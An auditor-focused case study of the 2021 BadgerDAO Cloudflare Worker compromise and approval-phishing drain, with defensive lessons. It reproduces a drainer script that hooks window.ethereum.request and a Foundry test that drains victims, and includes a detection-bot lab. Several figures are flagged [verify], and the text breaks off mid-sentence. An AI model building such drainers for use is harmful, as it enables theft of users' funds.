Case: BadgerDAO Frontend Supply-Chain (December 2021)
“The smart contracts were fine. The audits were clean. No bug in Solidity, no missing CEI, no faulty access control. And yet ~$120M walked out the door in a single morning. BadgerDAO is the case study that proves a senior auditor’s most uncomfortable thesis: a correct smart contract called with the wrong calldata is exactly as drained as a buggy contract called with correct calldata. The user does not distinguish. Funds move identically. Recovery is identical (i.e., usually nonexistent). If you scope your engagement to Solidity only, you are auditing the half of the system that didn’t get hacked.”
Tags: case-study frontend supply-chain cloudflare approval-drainer ice-phishing historical Related: Tuan-13-Frontend-dApp-Infrastructure · Tuan-12-Wallet-AA-Key-Management · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024 · Case-The-DAO-Reentrancy-2016
1. At a Glance
| Field | Value |
|---|---|
| Date of drain | December 2, 2021 (active 00:48 – 10:35 UTC) |
| Date of infrastructure compromise | Cloudflare API keys created August 20 – September 13, 2021 (verified to attacker via the Cloudflare email-verification race condition) — malicious Worker first deployed November 10, 2021 |
| Protocol | BadgerDAO — a Bitcoin-centric DeFi yield protocol on Ethereum (Setts/vaults wrapping wBTC, renBTC, ibBTC, sBTC, and Curve LP positions); native token BADGER; multi-billion TVL at peak |
| Loss | ~116M–120M; Halborn ~130M”; Quadriga DB “$116.3M”] |
| Recovered | ~$9M frozen/recovered immediately via the contract pause; later remediation through treasury insurance and an on-chain compensation plan [verify final tally] |
| Number of victim wallets | ~200 wallets actively drained (Microsoft / ZenGo analyses); some sources cite up to ~500 wallets approved-but-not-yet-drained at time of pause [verify] |
| Largest single victim | One wallet lost |
| Attack class | Frontend supply-chain → CDN/edge-worker injection → on-chain approval phishing (a.k.a. “ice phishing”) |
| Root cause (off-chain) | Unauthorized Cloudflare API keys created via a now-patched Cloudflare email-verification race; attacker maintained access for ~2 months, deployed a malicious Cloudflare Worker that injected JavaScript into app.badger.com HTML responses |
| Root cause (on-chain) | Injected JS intercepted eth_sendTransaction calls and substituted/added an unlimited approve or increaseAllowance to attacker EOA 0x1fcdb04d…7c269107. Attacker then transferFrom-ed victims at a time of their choosing. |
| Outcome | BadgerDAO paused all vault transferFrom calls via emergency multisig action; Cloudflare API keys rotated, MFA reset, full forensic engagement with Mandiant; recovery plan via treasury + insurance |
| Lasting consequence | First widely-publicized “the smart contracts were perfect and we still got drained” incident in DeFi. Catalyst for the auditor mantra “frontend is in scope.” Anchor reference for the entire frontend-supply-chain attack class (later: Curve frontend 2022, Galxe DNS 2023, Ledger Connect Kit 2023, Bybit/Safe-UI 2025). |
2. Background
2.1 What BadgerDAO was
BadgerDAO launched in December 2020 as a yield protocol focused on bringing Bitcoin into DeFi. Users deposited wrapped-BTC variants — wBTC, renBTC, sBTC, and Badger’s own ibBTC (“interest-bearing BTC”) — into vaults (“Setts”) that auto-compounded yield strategies on Curve, Convex, Sushiswap, and other blue-chip venues. The native token BADGER governed strategy parameters and fee distribution.
By Q4 2021, Badger held over $1B in TVL at peak. Roughly 95% of that TVL was BTC-denominated, which mattered for the attack profile: victims were holders of expensive, “blue-chip” tokens, not yield-farmers with small bags. The largest depositors were funds, treasuries, and institutional players — including (per public reporting) Celsius Network.
2.2 Why the protocol team was security-aware (and still got hit)
This is not a story of an unaudited cowboy DeFi project. By December 2021, BadgerDAO:
- Had multiple smart-contract audits from reputable firms (including Quantstamp, Haechi, Zokyo) [verify exact list — Badger’s docs mention several auditors].
- Operated all upgrades through a 9-of-13 (later 7-of-13) Dev Multisig with hardware-key signers.
- Used a
pausablemodifier on every vault; the multisig could freezetransferFromandwithdrawon demand. - Had previously survived smaller incidents without loss.
What they did not have, like every other DeFi team in 2021:
- A formal security review of their CDN configuration.
- Inventory + rotation hygiene on Cloudflare API tokens.
- External monitoring of the deployed JavaScript bundle for unauthorized modification.
- A documented threat model for edge-worker injection.
This is the gap the attack exploited. Note that the same gap existed at virtually every other DeFi protocol in 2021 — BadgerDAO was unlucky in being targeted first, not uniquely careless.
2.3 The Cloudflare Worker primitive
A Cloudflare Worker is a serverless JavaScript function that runs on Cloudflare’s edge nodes, in front of every HTTP request to a site. It sees the full request, can mutate headers, can rewrite the response body, and can call out to other services. From the user’s browser perspective, the Worker’s output is the website — there is no way for a browser to tell that a Worker mutated the response between the origin and the user.
This is the critical detail: a Worker can inject <script> tags into the HTML on the way out. The injection happens server-side from the user’s perspective and edge-side from the origin’s perspective — there is no commit in the project’s git repo, no change in the deployed bundle, no entry in the origin server’s logs. Only Cloudflare’s own audit log records the Worker deployment.
For the rest of this case study, “the attacker deployed a Cloudflare Worker” means: they used a stolen API token to push a JavaScript function to Cloudflare’s edge network that mutated app.badger.com HTML responses to include attacker-controlled JavaScript. No code at BadgerDAO’s GitHub repo or origin server was modified.
3. The Infrastructure Vulnerability — Cloudflare Account Compromise
3.1 The Cloudflare email-verification race condition
In late September 2021, users on the Cloudflare community support forum [verify forum post URL — Badger post-mortem references it] reported an account-creation flow vulnerability. The pattern:
- An attacker submits a sign-up request for
[email protected](a Cloudflare account the victim does not yet have). - Before the verification email is clicked, Cloudflare allows the attacker to create Global API keys on the unverified account.
- The victim later receives the verification email (perhaps because they were genuinely signing up for Cloudflare; perhaps because the attacker triggered a flow that nudged them to verify).
- The victim clicks the verification link, completing the account.
- The attacker’s previously-created API keys are now live on the victim’s verified account, granting full read/write access to all zones, DNS, Workers, and configuration.
Cloudflare patched this around September 29, 2021 [verify exact date]. But by then, three unauthorized Cloudflare accounts had already been provisioned against Badger team email addresses, with Global API keys exfiltrated.
Auditor takeaway: a vulnerability in a third-party SaaS account-management flow — not in Badger’s code, not in Cloudflare’s Worker API, not in any contract — was the foothold. Your audit scope must include “what SaaS does the team depend on, and what’s that SaaS’s CVE history?” Most Solidity-focused audits never ask this question.
3.2 The two-month dwell time
| Date (2021) | Event |
|---|---|
| August 20 | Earliest evidence of attacker account-takeover attempts against Badger Cloudflare accounts |
| August 20 – September 13 | Three unauthorized accounts created; Global API keys generated |
| ~September 13 | Badger team member unknowingly completes email verification for one of the three compromised accounts, activating the attacker’s keys |
| ~September 29 | Cloudflare patches the email-verification race (Badger still unaware they’re compromised) |
| November 10 | Attacker deploys first malicious Cloudflare Worker into Badger’s zone |
| November 21 | First documented “test transaction” — attacker tests the approval-drainer flow with their own wallet, address 0x38b8F6af1D55CAa0676F1cbB33b344d8122535C2 (this address is excluded from later victim filtering, confirming the attacker created it for QA) |
| November 10 – December 1 | Worker deployed and removed periodically, often for very short windows; targeting only high-balance wallets; multiple unique script hashes; access via VPN/proxy IPs to evade IP-based detection |
| December 2, 00:48 – 10:35 UTC | Mass drain phase: attacker initiates transferFrom from 0x1fcdb04d… against all accumulated approvals |
| December 2, ~10:35 UTC | Badger team alerted by on-chain activity; multisig coordinates emergency pause |
| December 2, ~11:30 UTC | All vault transferFrom calls paused via the Sett pauseAll function on the strategist multisig |
| December 8 | Badger releases technical post-mortem after engaging Mandiant for forensics |
The two-month dwell time is the auditor’s lesson here. The compromise was already complete by mid-September, but Badger had no visibility into Cloudflare account creation, API key generation, or Worker deployment. The attacker had complete situational awareness for weeks before activating.
3.3 The attacker’s anti-detection tradecraft
The Badger / Mandiant post-mortem (and ZenGo’s script analysis) flagged the attacker as operationally sophisticated. Notable techniques:
- Periodic activation. The Worker was deployed and removed many times over November, often live for only minutes at a time. A naive “is the script there?” check at any random moment had a high chance of seeing the benign version.
- Per-deployment script hash variance. Each deployment used a slightly different obfuscation pattern, producing a different SHA-256. Static IOC matching (a single hash) was useless. Behavioral signatures — “this script attempts to monkey-patch
window.ethereum.request” — would have been needed. - Balance-threshold filtering. The malicious script only activated for wallets where the Sett deposits exceeded a balance threshold (the ZenGo analysis indicates ~$50k of vault TVL [verify]). This kept low-value, high-volume users (security researchers, casual users) from triggering the malicious request and reporting it.
- Multisig-signer exclusion. The script’s wallet-address denylist explicitly included Badger Dev Multisig signers. The team using their own app would never see the malicious behavior. This is the detail that explains why the attack ran for ~3 weeks before disclosure.
- Test-account exclusion. Address
0x38b8F6af1D55CAa0676F1cbB33b344d8122535C2(created October 22, 2021 [verify date]) was also denylisted — strongly suggesting the attacker QA’d their script against their own wallet. - VPN / proxy infrastructure. API access to Cloudflare was made from a rotation of VPN exit IPs, not a single attacker location. Forensics could not geo-attribute.
Auditor takeaway: the attacker treated this like a long-running APT operation, not a smash-and-grab. The frontend-injection class can support months of patience. Any defensive control that relies on “we’d notice an attack right away” is invalid for this threat model.
4. The On-Chain Vulnerability — Approval Phishing (“Ice Phishing”)
The off-chain access (Cloudflare Worker) was the means. The on-chain payload was a token-approval phishing pattern — the class Microsoft would later name “ice phishing” in their February 2022 blog post.
4.1 What ERC-20 approve / increaseAllowance actually does
ERC-20’s approve(spender, amount) and increaseAllowance(spender, delta) set or extend the allowance[owner][spender] mapping. After this, the spender can call transferFrom(owner, recipient, amount) to move up to amount of owner’s tokens — without further consent from the owner. There is no expiry by default. There is no per-transaction confirmation. The approval persists across blocks, weeks, months, until the owner explicitly revokes it (or the spender consumes it).
This is the foundational primitive of DeFi UX. Every DEX swap, every vault deposit, every collateralization in a money-market needs an approve first. Most dApps request unlimited approval (amount = type(uint256).max) to spare the user the gas of re-approving on every interaction.
The dark side of this UX: an approval to a malicious spender is a standing key to the user’s tokens. The attacker can wait — accumulate approvals from many victims over days — and then drain them all at once in a single coordinated wave.
4.2 Why increaseAllowance instead of approve
The injected script used both approve and increaseAllowance. The choice was deliberate and exploited a UX gap that still exists in many wallets:
-
approve(spender, amount)triggers, in many wallets (MetaMask in 2021), a recognizable “Allow this site to spend your X token?” prompt. The wallet decodes the calldata, identifies the function selector (0x095ea7b3), names the token, and shows the spender address and amount. A user paying attention has a fighting chance of noticing the wrong spender. -
increaseAllowance(spender, addedValue)has selector0x39509351. In 2021, MetaMask’s calldata-decoder did not recognize this as an approval. The prompt showed a generic “Contract Interaction” with a function name the user didn’t recognize, no token name, no spender callout. The user saw what looked like a normal vault-deposit interaction and clicked sign.
The ZenGo script analysis confirmed the deliberate strategy: when interacting with primary vaults the user expected to interact with, the script used approve (which the user might be expecting anyway). When pivoting to a different vault than the user intended, the script switched to increaseAllowance specifically because MetaMask wouldn’t fingerprint it as an approval.
Auditor takeaway: wallet UX gaps are part of the attack surface. The same calldata that looks innocuous in MetaMask can look identical to a malicious approval to a Frame, Rabby, or Safe wallet — but most users were on MetaMask in 2021, and the attacker tuned for the most common target. Modern wallets (Rabby, MetaMask post-2022) decode
increaseAllowancecorrectly. The defense was the wallet vendor’s, not the protocol’s. But the protocol could have warned the user via in-page guidance about every approval request.
4.3 The injected JavaScript — anatomy
The malicious payload, reconstructed from samples preserved by Badger / ZenGo / Mandiant, hooked window.ethereum.request (the EIP-1193 provider method that wallet-connected dApps use to send transactions). A simplified shape:
// === Reconstructed from public analyses; obfuscation removed for clarity ===
(function() {
if (!window.ethereum) return;
// Denylist: skip the attacker's own test wallet + known Badger team signers
const SKIP_ADDRESSES = new Set([
"0x38b8f6af1d55caa0676f1cbb33b344d8122535c2", // attacker test
// ... Badger Dev Multisig signers ...
].map(a => a.toLowerCase()));
// Selector denylist: only mutate calls to known Sett "claim" / "withdraw"
const HOOK_SELECTORS = new Set([
"0xb16eb351", // claim(...) [verify]
"0x2e1a7d4d", // withdraw(uint256)
]);
const ATTACKER = "0x1fcdb04d0c5364fbd92c73ca8af9baa72c269107";
const MIN_BALANCE_USD = 50_000;
const originalRequest = window.ethereum.request.bind(window.ethereum);
window.ethereum.request = async function(payload) {
try {
if (payload?.method === "eth_sendTransaction") {
const tx = payload.params[0];
const from = (tx.from || "").toLowerCase();
const selector = (tx.data || "").slice(0, 10);
// Filter: is this a target?
const eligible =
!SKIP_ADDRESSES.has(from) &&
HOOK_SELECTORS.has(selector) &&
(await balanceAboveThreshold(from, MIN_BALANCE_USD));
if (eligible) {
// Step 1: hijack the call → send an approve to the attacker instead
// For primary vault: approve(ATTACKER, uint256.max)
// For other vault: increaseAllowance(ATTACKER, uint256.max)
// (avoids MetaMask's "approval" warning)
const malicious = buildApprovalCalldata(tx, ATTACKER);
payload.params[0] = malicious;
}
}
} catch (_) { /* fall through to original */ }
return originalRequest(payload);
};
async function balanceAboveThreshold(address, usdThreshold) {
// queries Badger's own indexer for vault balances; >= threshold returns true
}
function buildApprovalCalldata(originalTx, spender) {
// Constructs approve or increaseAllowance calldata
// Reuses the `to` from the original tx (so the user sees a familiar contract)
// ...
}
})();Key properties of this design:
- Wraps
window.ethereum.request, doesn’t replace it. The wallet still works for innocuous calls; the malicious behavior only fires on selected interactions. This avoids breaking the site visibly. - Selector-gated. Only intercepts
claimandwithdrawflows — moments when the user expects to be signing something. Doesn’t intercepteth_call(reads),eth_chainId,wallet_switchEthereumChain, etc. - Asynchronous balance gate. Calls Badger’s own indexer to check if the wallet has enough in vaults to bother. Otherwise it falls through to the original request, silently.
- Origin-preserving. The malicious
toaddress is the legitimate vault contract the user expected to interact with. Etherscan / wallet UI shows “calling BadgerSett at the right address.” The calldata is what changed. - No exfiltration. The script does not send anything back to an attacker server. Detection via “this dApp is doing weird outbound requests” doesn’t fire. The “exfiltration” happens on-chain when the victim signs.
Auditor takeaway: the injection is wallet-aware and protocol-aware. The attacker did their homework on Badger’s specific contract layout, function selectors, and indexer API. This is not a generic drainer kit; it’s a tailored exploit. Generic frontend-supply-chain attacks in 2026 are now tailored to specific protocols this way as a matter of course.
4.4 The on-chain drain — December 2, 2021
By the morning of December 2, the attacker had accumulated unlimited approvals from approximately 200 wallets, weighted heavily toward high-balance accounts. The drain itself was straightforward — a sequence of transferFrom(victim, attacker, balance) calls from 0x1fcdb04d…, with the attacker EOA paying gas.
Key transaction characteristics:
- Wallet
0x1fcdb04d0c5364fbd92c73ca8af9baa72c269107— main beneficiary. Active on-chain since 2018, previously associated with phishing-related activity per Etherscan analyses. - No flash loan, no complex composition — just a stream of
transferFromcalls. There was nothing for any DeFi-protocol monitoring bot (Forta, Tenderly Alerts) to flag as anomalous on a contract level. Each call was the same shape as a legitimate vault liquidity event. - Funds bridged — the attacker began moving stolen assets across bridges (notably via RenBridge to native BTC) within the same drain window. By the time the multisig paused vaults at ~11:30 UTC, a meaningful chunk was already off-Ethereum.
- Largest single transfer — ~896 BTC (in the form of wBTC + ibBTC) from one wallet, value ~$50M at the time, reportedly Celsius Network’s vault position [verify Celsius attribution].
The total drained: approximately 2,100 BTC-equivalent and 151 ETH [verify], distributed across various Bitcoin wrappers (wBTC, renBTC, ibBTC, sBTC), BADGER, CVX, and Curve LP positions.
4.5 Why the smart contracts couldn’t help
This is the philosophically uncomfortable part. The Sett vault contracts behaved exactly as designed:
approve(attacker, max)is a valid action a user can take.transferFrom(victim, attacker, amount)is the standard mechanism for a spender to pull approved tokens.- There is no on-chain way for a vault to know that an approval came from a hijacked frontend rather than a legitimate user click.
- The contracts had a pause mechanism, and it was used as soon as the team noticed — but by then 80% of the drain was complete.
Some commentators argued post-incident that vaults should refuse approve to externally-owned addresses (EOAs) and only accept approvals to whitelisted contracts. This is structurally infeasible: ERC-20 approvals are tracked in the token contract, not the vault contract. Badger’s vault has no way to inspect or limit approvals against the underlying token. The check would have to be enforced inside WBTC itself, which is not modifiable and not Badger’s contract.
The defense had to live elsewhere — in the wallet, in the frontend, in the infrastructure layer. And there was no defense there.
5. Reproduction — The On-Chain Side in Foundry
We cannot reproduce a Cloudflare Worker compromise in a lab. We can reproduce the on-chain primitive — show how a single approval to a malicious EOA becomes an irrevocable drain key, and how the cleanup path (approve(spender, 0) via Revoke.cash or directly) works.
5.1 Victim ERC-20 + a fake “vault” that’s actually a phishing site
// src/MockToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
constructor() ERC20("Wrapped Bitcoin (mock)", "wBTC") {
_mint(msg.sender, 1_000e18);
}
}5.2 Attacker EOA contract (models 0x1fcdb04d…)
In real life the attacker was an EOA. We model it as a contract here so we can script the drain inside a Foundry test deterministically.
// src/AttackerEOA.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @notice Models the attacker's EOA from the BadgerDAO incident.
/// In reality this was 0x1fcdb04d0c5364fbd92c73ca8af9baa72c269107.
contract AttackerEOA {
/// @dev Drains every victim using their pre-existing approval.
function harvest(IERC20 token, address[] calldata victims) external {
for (uint256 i; i < victims.length; ++i) {
uint256 bal = token.balanceOf(victims[i]);
uint256 allowed = token.allowance(victims[i], address(this));
uint256 take = bal < allowed ? bal : allowed;
if (take > 0) {
token.transferFrom(victims[i], address(this), take);
}
}
}
}5.3 The “Cloudflare Worker” — simulated as a test helper
In the real attack, the Worker mutated calldata client-side before MetaMask’s signing prompt. In Foundry we represent that mutation as: what the user thought they signed vs. what they actually signed.
// test/BadgerFrontendDrain.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {MockToken} from "../src/MockToken.sol";
import {AttackerEOA} from "../src/AttackerEOA.sol";
contract BadgerFrontendDrainTest is Test {
MockToken token;
AttackerEOA attacker;
address legitimateVault = address(0x5e77);
address victim1 = address(0xA1);
address victim2 = address(0xA2);
address victim3 = address(0xA3);
function setUp() public {
token = new MockToken();
attacker = new AttackerEOA();
// Fund three victims with 100 mock-wBTC each
token.transfer(victim1, 100e18);
token.transfer(victim2, 100e18);
token.transfer(victim3, 100e18);
}
/// @dev Step 1: each victim "interacts with the dApp" — they THINK
/// they're approving the legitimate Badger vault. The injected
/// Cloudflare Worker swapped the spender to the attacker EOA.
function test_drainViaHijackedApproval() public {
// --- Simulated frontend injection ---
// What the user intended: token.approve(legitimateVault, type(uint256).max);
// What the wallet actually got from window.ethereum.request:
// token.approve(address(attacker), type(uint256).max);
vm.prank(victim1); token.approve(address(attacker), type(uint256).max);
vm.prank(victim2); token.approve(address(attacker), type(uint256).max);
vm.prank(victim3); token.approve(address(attacker), type(uint256).max);
// Approvals are now standing. Note: from the user's POV, they
// "interacted with Badger". They have no idea they granted the attacker spend.
assertEq(token.allowance(victim1, address(attacker)), type(uint256).max);
// --- Step 2 (some days later): the attacker mass-drains. ---
emit log_named_uint("victim1 BEFORE drain", token.balanceOf(victim1));
emit log_named_uint("victim2 BEFORE drain", token.balanceOf(victim2));
emit log_named_uint("victim3 BEFORE drain", token.balanceOf(victim3));
emit log_named_uint("attacker BEFORE drain", token.balanceOf(address(attacker)));
address[] memory victims = new address[](3);
victims[0] = victim1; victims[1] = victim2; victims[2] = victim3;
attacker.harvest(token, victims);
emit log_named_uint("victim1 AFTER drain", token.balanceOf(victim1));
emit log_named_uint("attacker AFTER drain", token.balanceOf(address(attacker)));
assertEq(token.balanceOf(victim1), 0);
assertEq(token.balanceOf(victim2), 0);
assertEq(token.balanceOf(victim3), 0);
assertEq(token.balanceOf(address(attacker)), 300e18);
}
/// @dev Step 3: the cleanup — what users SHOULD have done as soon as
/// the attack was disclosed. This is the same call Revoke.cash makes.
function test_revokeAllowanceMitigation() public {
vm.prank(victim1); token.approve(address(attacker), type(uint256).max);
// User runs to Revoke.cash, identifies the malicious spender, revokes.
vm.prank(victim1); token.approve(address(attacker), 0);
assertEq(token.allowance(victim1, address(attacker)), 0);
// The attacker now harvests — and gets nothing.
address[] memory victims = new address[](1);
victims[0] = victim1;
attacker.harvest(token, victims);
assertEq(token.balanceOf(victim1), 100e18);
assertEq(token.balanceOf(address(attacker)), 0);
}
/// @dev Step 4: increaseAllowance instead of approve — the variant that
/// dodged MetaMask's approval warning in 2021.
function test_increaseAllowanceVariant() public {
// The injection uses increaseAllowance instead of approve.
// In MetaMask 2021, this showed up as "Contract Interaction" with
// no token name and no spender callout.
vm.prank(victim1);
// ERC20.increaseAllowance is non-standard but available in OZ's ERC20.
token.increaseAllowance(address(attacker), type(uint256).max - 1);
assertGt(token.allowance(victim1, address(attacker)), 0);
}
}5.4 Expected output
[PASS] test_drainViaHijackedApproval()
victim1 BEFORE drain: 100000000000000000000
victim2 BEFORE drain: 100000000000000000000
victim3 BEFORE drain: 100000000000000000000
attacker BEFORE drain: 0
victim1 AFTER drain: 0
attacker AFTER drain: 300000000000000000000
[PASS] test_revokeAllowanceMitigation()
[PASS] test_increaseAllowanceVariant()
5.5 What the reproduction proves
- The contracts are not broken.
approve,transferFrom,increaseAllowanceall do exactly what ERC-20 says. - The attacker accumulates a “standing key” in the form of
allowance[victim][attacker]. It persists until consumed or zeroed. - The cleanup is a single
approve(spender, 0)call per (victim, token) pair. Free and trivial — if you know about the malicious spender and revoke before the harvest fires. - The variant matters at the wallet UX layer, not at the protocol layer:
approvevs.increaseAllowanceproduce the same on-chain state. The wallet decodes them differently. That’s a wallet bug, not a contract bug.
5.6 Stretch lab — write the detection bot
Foundry can also model the detection side. Write a script that:
- Iterates ERC-20
Approvalevents on the simulated chain. - For each event, checks whether the
spenderis an EOA (no code at the spender address). - Flags any approval where
spenderis an EOA withallowance >= 10**18(unbounded) andspenderhas approvals from>= 5distinct owners within48h.
That heuristic — “one EOA accumulating unlimited approvals from many wallets in a short window” — is the on-chain signal of an in-progress ice-phishing campaign. Microsoft’s Forta agent (described in their 2022 “Ice Phishing on the Blockchain” post) uses exactly this signature. It would have caught BadgerDAO before the harvest phase if it had existed at the time.
6. Aftermath
6.1 The emergency pause
At approximately 11:30 UTC on December 2, ~10 hours after the drain began and minutes after on-chain alerts pinged the team, the Badger Dev Multisig (9-of-13) executed an emergency call to pauseAll() on the Sett strategist proxy. This froze:
- All vault
depositcalls - All vault
withdrawcalls - All vault-internal
transferFrominvocations
This stopped the bleeding for victims who hadn’t yet been drained but had standing approvals — transferFrom to/from a paused vault now reverts. Roughly $9M of attempted further drains were blocked by the pause [verify exact figure].
Note that the pause did not revoke approvals — those still live in the underlying wBTC / renBTC / ibBTC token contracts. A victim who hadn’t manually revoked could still be drained later by transferFrom calls that didn’t involve the vault. The pause bought time for users to revoke, not a permanent fix.
6.2 Cloudflare API rotation, MFA, forensic engagement
Within 24 hours, Badger:
- Rotated all Cloudflare API keys and removed every unrecognized API token.
- Forced MFA reset on every Cloudflare account, with hardware-key (FIDO2) enrollment for the new MFA.
- Engaged Mandiant (then a FireEye subsidiary, soon to be Google Cloud) for full incident-response and forensic engagement.
- Engaged Chainalysis and TRM Labs to trace the on-chain flow of stolen funds (some of which was bridged to native BTC and ETH addresses).
The Mandiant engagement is what produced the public post-mortem published December 8, with the Cloudflare email-verification root cause traced and documented.
6.3 The recovery / compensation plan
Badger Governance proposed a multi-track recovery in mid-December 2021:
- Treasury reimbursement of a portion of losses from the protocol treasury (~$36M in BADGER tokens at the time of the proposal) [verify].
- Insurance claims through Nexus Mutual / Lloyds policy holders who had purchased coverage.
- Restitution via future revenue — a portion of protocol fees redirected to victims over the following months.
- Bug bounty offer to the attacker — the usual 10% “keep the funds, return the rest” letter sent on-chain. (No public evidence the attacker responded.)
The full recovery did not make all victims whole. Several large victims (notably Celsius, which itself collapsed in mid-2022, complicating recovery) absorbed permanent losses. The final tally of recovered-to-lost ratio is reported variously at 20–40% [verify against Badger’s later updates].
6.4 The Celsius angle (and its later relevance)
If reports of Celsius Network being the largest single victim ($50M+) are accurate [verify], the BadgerDAO loss became one of several major exposures contributing to Celsius’s June 2022 insolvency. Celsius’s bankruptcy filings (white & case llp) reference DeFi losses generally; whether the BadgerDAO loss was specifically itemized is unclear from public filings. The chain of causality from “Cloudflare email-verification race” → “BadgerDAO drain” → “Celsius BTC-vault loss” → “Celsius bankruptcy” → “1.7M users locked out of crypto” is one of the more sobering systemic-risk transmission paths in DeFi history.
6.5 Industry response
- “Frontend is in scope” became the audit firms’ new opening line for any DeFi engagement. Trail of Bits, OpenZeppelin, Spearbit, Consensys Diligence all updated their engagement templates within months to ask about CDN configuration, edge-worker access, npm dependency hygiene, and CI/CD secrets.
- Revoke.cash (then a niche power-user tool) saw a 10x usage surge in the week after the incident as users mass-revoked approvals across DeFi.
- Subresource Integrity (SRI) got renewed attention. SRI alone wouldn’t have stopped BadgerDAO (the injection wasn’t via a third-party script tag, it was server-side HTML mutation), but the broader category of “frontend integrity defenses” got budget at every major protocol.
- Microsoft published “Ice Phishing on the Blockchain” (Feb 2022), naming the attack class and shipping a Forta agent with detection heuristics. The agent is open source and still maintained.
- Cloudflare rolled out Client-Side Security (Page Shield) as a paid product — monitoring of JS executed on customer pages, with hash-change alerts, behavioral signatures, and CSP recommendations. Most DeFi protocols still don’t pay for it.
- MetaMask added explicit
increaseAllowancedecoding (and improvedapprovewarnings) within months. Modern MetaMask flags any approval where the spender is “unknown to the user” — and Rabby’s “transaction simulation” pop-up, which decodes the actual state changes any tx will make, became a category standard.
The single largest legacy of BadgerDAO is the legitimation of “frontend-supply-chain” as an audit specialty. Pre-2021, this was the IT department’s problem. Post-BadgerDAO, every DeFi treasury budgets for it.
7. Lessons for Auditors
7.1 The audit scope expansion
The pre-BadgerDAO smart-contract audit scoping document said: “we’ll review the contracts in src/, the deployment scripts, and the upgrade pattern. Frontend and infrastructure are out of scope.” This is now considered professional malpractice for any audit firm pitching a comprehensive engagement.
The modern audit scope, expanded to include the seams BadgerDAO exposed:
| Layer | What to audit | Sample questions |
|---|---|---|
| Smart contracts | The familiar surface. Solidity, Vyper, Move, etc. | Reentrancy, AC, oracles, accounting. (You knew this.) |
| Frontend bundle | The deployed JS bundle, lockfile, build pipeline. | Are dependencies pinned? Is SRI configured? Are bundles reproducible? |
| CDN / hosting | The serving layer between origin and user. | Who has Cloudflare/Vercel/Netlify admin? Inventory of API tokens? MFA mandatory? Audit logs forwarded? |
| Edge workers / functions | Cloudflare Workers, Vercel Edge Functions, Netlify Edge Functions. | Treat as deployables. CI-only deploys. Approval workflow. |
| DNS / domain | Registrar, nameservers, DNSSEC, ENS. | Registrar lock? DNSSEC? Hardware-MFA on registrar account? Out-of-band notice channel? |
| CI/CD | GitHub Actions, CircleCI, Vercel build pipeline. | Signed commits? Branch protection? CI secrets scoped and rotated? Build artifacts reproducible? |
| npm / Cargo / etc. supply chain | Every package in the build, transitively. | Lockfile? Provenance? Postinstall scripts disabled? Socket.dev / Snyk integrated? |
| Wallet / wallet-kit integration | The EIP-1193 / WalletConnect surface. | What does the user see when signing? Do you decode calldata in-page? Do you warn on unbounded approvals? |
| Indexer / subgraph | What’s the data the UI displays? | Subgraph signed? Owned by team or vendor? Could a vendor compromise mutate balances shown? |
| Operational security | SaaS admin accounts, offboarding hygiene. | Was every former employee’s API token revoked? FIDO2 on all admin accounts? |
This is what “frontend in scope” actually means. It’s not a one-line checkbox — it’s roughly as much surface area as the smart contracts themselves.
7.2 CDN/edge-worker access = total content control
The single hardest lesson to internalize: if your attacker has Cloudflare API write access, they have your application. There is nothing in your git repo, your CI pipeline, or your deployed origin that constrains what the user sees. The Worker layer is supreme.
This generalizes:
- Vercel deploy tokens = total content control (attacker can deploy a different bundle without touching your git).
- Netlify functions = total content control (attacker can edit the server response).
- DNS A-record write = total content control (attacker can point the domain to their server).
- IPFS contenthash update on ENS = total content control (attacker can repoint to malicious IPFS hash).
Treat every one of these credentials with the same gravity as a smart-contract upgrade key. Specifically:
- Multi-party approval for any change (CI-only deploys, branch protection requiring reviewer, multisig-controlled ENS controller).
- Hardware-key MFA on every console.
- Audit-log forwarding to a SIEM or at minimum a Discord channel the security team reads daily.
- Rotation schedule — quarterly minimum for any long-lived token.
7.3 Continuous integrity verification — the missing control
The single technical control that would have killed BadgerDAO outright: external bundle-integrity monitoring. A cron, running on infrastructure independent of the team’s hosting (Hetzner box, AWS Lambda, GitHub Actions IP), that:
- Fetches
https://app.badger.com/every 60 seconds. - Computes SHA-256 of the served HTML and of every script the HTML loads.
- Compares to a known-good hash committed in git.
- Alerts on divergence to PagerDuty / Discord.
Cost: maybe $5/month of compute. Coverage: would have fired the first time the attacker activated the Worker on November 10 — three weeks before the drain.
Per the post-mortem, Badger had no such monitor. Almost no DeFi protocol had one in 2021. Even today (2026), most do not. This is the single highest-ROI defensive engineering investment a protocol can make for the frontend-supply-chain class — and it’s still under-deployed.
7.4 Why static SRI alone is insufficient
A common reflex post-BadgerDAO: “we should add Subresource Integrity to all our scripts.” SRI is the <script integrity="sha384-..."> attribute that lets the browser verify a script hash matches the expected value before executing.
SRI is useful but insufficient against the BadgerDAO attack pattern. Why:
- SRI protects third-party scripts loaded by your HTML. BadgerDAO’s injection was into the HTML itself — there’s no
<script>tag for SRI to verify, because the malicious code was inline JS appended to the page body by the Worker. - SRI protects against npm-supply-chain attacks on shipped JS (Ledger Connect Kit pattern), but not against edge-worker injection.
- The defense for the BadgerDAO class is external integrity monitoring (§7.3), not SRI.
That said, SRI is still essential for the other class of attack (npm supply chain), and it costs you nothing. Configure it for every third-party script. Just don’t think you’re done.
7.5 The signed-release pipeline
A more comprehensive defense than the “external monitor” pattern: make the deploy itself attestable.
- Sign every deployment artifact with Sigstore / cosign.
- Publish the expected hash + signature on-chain (e.g., a contract that stores
bundleHash[version]). - Build a browser extension (or roll it into your dApp) that fetches the expected hash on load and verifies the served bundle matches.
This is the “binary transparency” pattern from system software (Linux distros, npm provenance). Adopting it for DeFi frontends is doable; few protocols have done it. The reference implementation worth studying is Uniswap’s IPFS pinning + ENS pattern, which limits but doesn’t fully solve the problem.
7.6 The user-side mitigation — wallet that simulates
The protocol can’t solve every approval-phishing scenario. The remaining defense is at the wallet:
- Calldata decoding that shows token name, spender, amount in human-readable form for every approval-like function —
approve,increaseAllowance,setApprovalForAll, Permit, Permit2. - Transaction simulation that runs the tx in a fork (Tenderly-style) and shows the resulting state delta: “this transaction will allow
